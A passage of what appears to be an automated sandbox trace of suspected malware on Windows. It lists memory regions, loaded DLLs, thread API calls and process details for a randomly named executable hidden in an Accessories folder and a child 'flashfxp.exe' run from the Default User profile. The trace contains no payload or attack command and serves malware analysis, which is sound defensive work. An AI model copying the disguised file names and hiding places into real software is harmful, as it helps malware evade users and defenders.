"\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7689 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7690 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7691 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7692 start_va = 0x540000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 7693 start_va = 0x620000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 7801 start_va = 0x7fef6e10000 end_va = 0x7fef6eb8fff monitored = 1 entry_point = 0x7fef6e11010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7802 start_va = 0x7fefa640000 end_va = 0x7fefa642fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7803 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7804 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7805 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7806 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7807 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7829 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7830 start_va = 0x720000 end_va = 0x8a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 7831 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7832 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7833 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7834 start_va = 0x8b0000 end_va = 0xa30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 7835 start_va = 0xa40000 end_va = 0x1e3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a40000" filename = "" Region: id = 7836 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 7837 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 7838 start_va = 0x540000 end_va = 0x60ffff monitored = 1 entry_point = 0x60d67e region_type = mapped_file name = "yardadultbehind.exe" filename = "\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\yardadultbehind.exe") Region: id = 7839 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 8219 start_va = 0x540000 end_va = 0x60ffff monitored = 1 entry_point = 0x60d67e region_type = mapped_file name = "yardadultbehind.exe" filename = "\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\yardadultbehind.exe") Region: id = 8220 start_va = 0x7fefca60000 end_va = 0x7fefca6bfff monitored = 0 entry_point = 0x7fefca61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8221 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8222 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8223 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8224 start_va = 0x7fefa780000 end_va = 0x7fefa795fff monitored = 0 entry_point = 0x7fefa78c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8225 start_va = 0x7fefa6c0000 end_va = 0x7fefa77cfff monitored = 0 entry_point = 0x7fefa747db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8272 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 8278 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 8283 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 8289 start_va = 0x7fe949e0000 end_va = 0x7fe949effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949e0000" filename = "" Region: id = 8297 start_va = 0x7fe949f0000 end_va = 0x7fe949fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8315 start_va = 0x7fe94a00000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a00000" filename = "" Region: id = 8316 start_va = 0x7fe94a90000 end_va = 0x7fe94afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a90000" filename = "" Region: id = 8317 start_va = 0x370000 end_va = 0x370fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 8318 start_va = 0x380000 end_va = 0x380fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 8332 start_va = 0x1e40000 end_va = 0x1f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 8333 start_va = 0x1f70000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 8344 start_va = 0x2280000 end_va = 0x237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 8345 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 8363 start_va = 0x390000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 8364 start_va = 0x2380000 end_va = 0x1a37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 8365 start_va = 0x1a380000 end_va = 0x1a6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a380000" filename = "" Region: id = 8366 start_va = 0x1f70000 end_va = 0x2070fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 8367 start_va = 0x2090000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 8382 start_va = 0x2150000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 8383 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 8394 start_va = 0x1a7a0000 end_va = 0x1a89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7a0000" filename = "" Region: id = 8395 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 8401 start_va = 0x1a8a0000 end_va = 0x1a99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8a0000" filename = "" Region: id = 8417 start_va = 0x1a9a0000 end_va = 0x1ac6efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8666 start_va = 0x7fef2a50000 end_va = 0x7fef404cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8778 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8779 start_va = 0x540000 end_va = 0x5bcfff monitored = 0 entry_point = 0x54cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8780 start_va = 0x540000 end_va = 0x5bcfff monitored = 0 entry_point = 0x54cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8781 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8782 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8783 start_va = 0x1ac70000 end_va = 0x1ae3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac70000" filename = "" Region: id = 8784 start_va = 0x1ac70000 end_va = 0x1ad4efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ac70000" filename = "" Region: id = 8785 start_va = 0x1adc0000 end_va = 0x1ae3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adc0000" filename = "" Region: id = 8787 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8788 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8817 start_va = 0x7fe94b00000 end_va = 0x7fe94b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b00000" filename = "" Region: id = 8860 start_va = 0x7fe94b80000 end_va = 0x7fe94b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b80000" filename = "" Region: id = 8861 start_va = 0x7fe94b90000 end_va = 0x7fe94b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b90000" filename = "" Region: id = 8865 start_va = 0x7fefbbc0000 end_va = 0x7fefbbc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8908 start_va = 0x7fef5ab0000 end_va = 0x7fef5bfefff monitored = 1 entry_point = 0x7fef5ab1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8909 start_va = 0x390000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 8921 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 8967 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 8968 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 8969 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 8970 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 8971 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 8972 start_va = 0x4c0000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 9009 start_va = 0x1ae40000 end_va = 0x1afaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae40000" filename = "" Region: id = 9027 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9067 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9068 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 9069 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9080 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9081 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9108 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9123 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9149 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9166 start_va = 0x540000 end_va = 0x5a1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9204 start_va = 0x1a700000 end_va = 0x1a73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a700000" filename = "" Region: id = 9205 start_va = 0x1b0d0000 end_va = 0x1b1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0d0000" filename = "" Region: id = 9206 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9207 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 9292 start_va = 0x1b260000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b260000" filename = "" Region: id = 9293 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9294 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9295 start_va = 0x5b0000 end_va = 0x5f4fff monitored = 0 entry_point = 0x5b1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9296 start_va = 0x5b0000 end_va = 0x5f4fff monitored = 0 entry_point = 0x5b1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9297 start_va = 0x5b0000 end_va = 0x5f4fff monitored = 0 entry_point = 0x5b1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9373 start_va = 0x5b0000 end_va = 0x5f4fff monitored = 0 entry_point = 0x5b1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9374 start_va = 0x5b0000 end_va = 0x5f4fff monitored = 0 entry_point = 0x5b1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9375 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9376 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9377 start_va = 0x1b4f0000 end_va = 0x1b5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4f0000" filename = "" Region: id = 9378 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9400 start_va = 0x1b620000 end_va = 0x1b71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b620000" filename = "" Region: id = 9401 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9443 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9476 start_va = 0x1b790000 end_va = 0x1b88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b790000" filename = "" Region: id = 9477 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9518 start_va = 0x7fef1de0000 end_va = 0x7fef2a4efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9521 start_va = 0x7fef58b0000 end_va = 0x7fef5aa4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9538 start_va = 0x7fef0d30000 end_va = 0x7fef1dd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9558 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9573 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 9699 start_va = 0x7fefbba0000 end_va = 0x7fefbbb5fff monitored = 1 entry_point = 0x7fefbbae5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9700 start_va = 0x1b890000 end_va = 0x1bb61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9701 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 9702 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 9703 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9704 start_va = 0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 9705 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 9706 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 9707 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Thread: id = 380 os_tid = 0x580 [0264.103] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0276.143] EtwEventRegister (in: ProviderId=0x23858b8, EnableCallback=0x1af3135c, CallbackContext=0x0, RegHandle=0x2385898 | out: RegHandle=0x2385898) returned 0x0 [0277.159] EtwEventRegister (in: ProviderId=0x238a040, EnableCallback=0x1af313ac, CallbackContext=0x0, RegHandle=0x238a020 | out: RegHandle=0x238a020) returned 0x0 [0278.896] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x234180*=0xd8, lpdwindex=0x14e104 | out: lpdwindex=0x14e104) returned 0x0 [0280.031] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x234180*=0xd8, lpdwindex=0x14e104) Thread: id = 428 os_tid = 0x2e0 Thread: id = 435 os_tid = 0x334 [0264.192] CoGetContextToken (in: pToken=0x224f580 | out: pToken=0x224f580) returned 0x800401f0 [0264.192] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 441 os_tid = 0x2fc Thread: id = 488 os_tid = 0x8b0 [0278.270] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0278.271] CoGetContextToken (in: pToken=0x1b1cf970 | out: pToken=0x1b1cf970) returned 0x0 [0278.271] CObjectContext::QueryInterface () returned 0x0 [0278.272] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.272] Release () returned 0x0 [0278.272] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0278.273] CoUninitialize () [0288.815] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b1cdd98 | out: phkResult=0x1b1cdd98*=0x0) returned 0x2 [0288.816] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0288.822] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe", nBufferLength=0x105, lpBuffer=0x1b1ce8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe", lpFilePart=0x0) returned 0x41 Thread: id = 489 os_tid = 0x8b4 Thread: id = 510 os_tid = 0x90c Thread: id = 524 os_tid = 0x944 Thread: id = 525 os_tid = 0x948 Thread: id = 556 os_tid = 0x9d4 [0281.358] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0281.359] CoGetContextToken (in: pToken=0x1b88f8f0 | out: pToken=0x1b88f8f0) returned 0x0 [0281.359] CObjectContext::QueryInterface () returned 0x0 [0281.359] CObjectContext::GetCurrentThreadType () returned 0x0 [0281.359] Release () returned 0x0 [0281.359] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0281.359] CoUninitialize () Process: id = "84" image_name = "flashfxp.exe" filename = "c:\\users\\default user\\flashfxp.exe" page_root = "0x219ab000" os_pid = "0x584" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4e8" cmd_line = "\"C:\\Users\\Default User\\flashfxp.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc5b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7398 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7399 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7400 start_va = 0x1f0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 7401 start_va = 0x890000 end_va = 0x965fff monitored = 1 entry_point = 0x95d67e 